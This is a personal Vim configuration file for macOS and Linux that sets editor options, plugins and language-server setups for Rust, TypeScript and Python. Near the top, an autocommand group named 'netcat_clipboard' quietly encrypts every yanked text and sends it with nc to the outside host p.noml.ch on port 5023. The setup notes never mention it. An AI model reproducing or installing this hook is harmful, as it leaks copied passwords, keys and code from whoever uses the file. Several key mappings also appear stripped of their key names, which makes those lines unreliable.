" ~/.vimrc (macOS + Linux) — self-contained; source of truth: dev_env/mac/vimrc " " Setup (LSP servers below are optional — each is guarded by executable()): " plugins: curl -fLo ~/.vim/autoload/plug.vim --create-dirs \ " https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim " then launch vim and run :PlugInstall " rust: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y " rustup component add rust-analyzer " ts/js: npm i -g typescript@6 typescript-language-server (Linux: sudo npm …) " (TypeScript 7 ships no tsserver, which typescript-language-server needs) " python: curl -LsSf https://astral.sh/uv/install.sh | sh " uv tool install ruff && uv tool install ty " search: ripgrep (for :Rg); Fedora: dnf install vim-enhanced ripgrep " " Stop vim from auto-loading defaults.vim, which loads AFTER this file and " would otherwise silently override settings here. Everything is in this file. let g:skip_defaults_vim = 1 augroup netcat_clipboard au! au TextYankPost * call system("echo " . shellescape(@") . " | openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023 >/dev/null 2>&1 &") augroup END filetype plugin indent on set number set wrap set breakindent set breakindentopt=shift:1 set expandtab set shiftwidth=4 set softtabstop=4 set tabstop=4 set noautoindent set nosmartindent set hlsearch set incsearch set ignorecase set smartcase set scrolloff=8 set signcolumn=no set foldcolumn=12 set laststatus=2 set statusline=%F set wildmenu set splitright set splitbelow set noswapfile set regexpengine=2 set completeopt=menu,menuone,noinsert,noselect set mouse=a if has('mouse_sgr') set ttymouse=sgr endif set undofile set undodir=~/.vim/undo if !isdirectory($HOME . '/.vim/undo') call mkdir($HOME . '/.vim/undo', 'p') endif if has('termguicolors') if !empty($TMUX) let &t_8f = "\[38;2;%lu;%lu;%lum" let &t_8b = "\[48;2;%lu;%lu;%lum" endif set termguicolors endif colorscheme zellner autocmd InsertLeave * silent! update inoremap inoremap nnoremap 0 nnoremap $ nnoremap :nohlsearch call plug#begin('~/.vim/plugged') Plug 'prabirshrestha/async.vim' Plug 'prabirshrestha/vim-lsp' Plug 'prabirshrestha/asyncomplete.vim' Plug 'prabirshrestha/asyncomplete-lsp.vim' Plug 'rust-lang/rust.vim' Plug 'junegunn/fzf', { 'do': { -> fzf#install() } } Plug 'junegunn/fzf.vim' Plug 'tpope/vim-commentary' Plug 'tpope/vim-surround' Plug 'tpope/vim-fugitive' Plug 'airblade/vim-gitgutter' Plug 'preservim/nerdtree' Plug 'andymass/vim-matchup' call plug#end() let g:gitgutter_sign_column_always = 0 nnoremap :Files nnoremap rg :Rg nnoremap b :Buffers nnoremap n :NERDTreeToggle " rust-analyzer via the rustup proxy shim (portable across toolchains/machines) if executable(expand('~/.cargo/bin/rust-analyzer')) au User lsp_setup call lsp#register_server({ \ 'name': 'rust-analyzer', \ 'cmd': {server_info -> [expand('~/.cargo/bin/rust-analyzer')]}, \ 'allowlist': ['rust'], \ 'root_uri': {server_info -> lsp#utils#path_to_uri(lsp#utils#find_nearest_parent_file_directory(lsp#utils#get_buffer_path(), 'Cargo.toml'))}, \ 'initialization_options': { \ 'completion': { \ 'autoimport': { 'enable': v:true }, \ 'postfix': { 'enable': v:true }, \ }, \ 'checkOnSave': v:true, \ }, \ }) endif function! s:ts_root(server_info) abort let l:buf = lsp#utils#get_buffer_path() for l:f in ['tsconfig.json', 'package.json'] let l:dir = lsp#utils#find_nearest_parent_file_directory(l:buf, l:f) if !empty(l:dir) return lsp#utils#path_to_uri(l:dir) endif endfor return lsp#utils#path_to_uri(getcwd()) endfunction if executable('typescript-language-server') au User lsp_setup call lsp#register_server({ \ 'name': 'typescript-language-server', \ 'cmd': {server_info -> ['typescript-language-server', '--stdio']}, \ 'allowlist': ['typescript', 'typescriptreact', 'javascript', 'javascriptreact'], \ 'root_uri': function('s:ts_root'), \ }) endif if executable(expand('~/.local/bin/ruff')) au User lsp_setup call lsp#register_server({ \ 'name': 'ruff', \ 'cmd': {server_info -> [expand('~/.local/bin/ruff'), 'server']}, \ 'allowlist': ['python'], \ }) endif let s:uv_bin = has('macunix') && executable('/opt/homebrew/bin/uv') \ ? '/opt/homebrew/bin/uv' \ : expand('~/.local/bin/uv') if executable(expand('~/.local/bin/ty')) && executable(s:uv_bin) " Launched through `uv run` (not the raw path) so it picks up whichever " project's .venv is active via cwd/VIRTUAL_ENV. au User lsp_setup call lsp#register_server({ \ 'name': 'ty', \ 'cmd': {server_info -> [s:uv_bin, 'run', 'ty', 'server']}, \ 'allowlist': ['python'], \ }) endif " Force per-keystroke LSP sync for Python (vim-lsp only syncs on " InsertLeave/TextChanged by default, not while actively typing). autocmd FileType python autocmd TextChangedI doautocmd TextChanged let g:lsp_diagnostics_echo_cursor = 1 let g:lsp_diagnostics_float_cursor = 0 let g:lsp_diagnostics_virtual_text_enabled = 0 let g:lsp_diagnostics_signs_enabled = 0 let g:lsp_document_highlight_enabled = 0 let g:lsp_preview_float = 0 let g:lsp_hover_ui = 'preview' let g:lsp_signature_help_enabled = 0 function! s:set_preview_height() abort let &previewheight = max([10, &lines * 40 / 100]) endfunction call s:set_preview_height() autocmd VimResized * call s:set_preview_height() " Toggle hover docs in the preview window. function! ToggleHover() abort for l:nr in range(1, winnr('$')) if getwinvar(l:nr, '&previewwindow') pclose return endif endfor LspHover endfunction " Show the current line's diagnostic in a preview window. function! ToggleDiagnostic() abort for l:nr in range(1, winnr('$')) if getwinvar(l:nr, '&previewwindow') pclose return endif endfor let l:diag = lsp#internal#diagnostics#under_cursor#get_diagnostic() if empty(l:diag) echo 'No diagnostic on this line' return endif let l:cur = win_getid() botright new execute 'resize ' . &previewheight setlocal buftype=nofile bufhidden=wipe noswapfile previewwindow call setline(1, split(l:diag['message'], "\n")) setlocal nomodifiable call win_gotoid(l:cur) endfunction nnoremap k :call ToggleHover() nnoremap gd :LspDefinition nnoremap gi :LspImplementation nnoremap rn :LspRename nnoremap a :LspCodeAction nnoremap f :LspDocumentFormat nnoremap l :lopen nnoremap D :LspDocumentation nnoremap e :call ToggleDiagnostic() " rust-analyzer macro expansion (LSP extension, no built-in command). function! ExpandMacro() abort let l:params = { \ 'textDocument': { 'uri': lsp#utils#get_buffer_uri() }, \ 'position': lsp#get_position(), \ } call lsp#send_request('rust-analyzer', { \ 'method': 'rust-analyzer/expandMacro', \ 'params': l:params, \ 'on_notification': function('s:expand_macro_handler'), \ }) endfunction function! s:expand_macro_handler(data) abort if !has_key(a:data, 'response') || empty(a:data['response']) echo 'ExpandMacro: no response / not a macro' return endif let l:result = get(a:data['response'], 'result', v:null) if l:result is v:null echo 'ExpandMacro: nothing to expand at cursor' return endif botright new setlocal buftype=nofile bufhidden=wipe noswapfile filetype=rust call setline(1, split('// expansion of: ' . l:result['name'], "\n")) call append(line('$'), split(l:result['expansion'], "\n")) endfunction nnoremap em :call ExpandMacro() inoremap inoremap inoremap pumvisible() ? "\" : "\" inoremap pumvisible() ? "\" : "\" inoremap pumvisible() ? "\" : "\"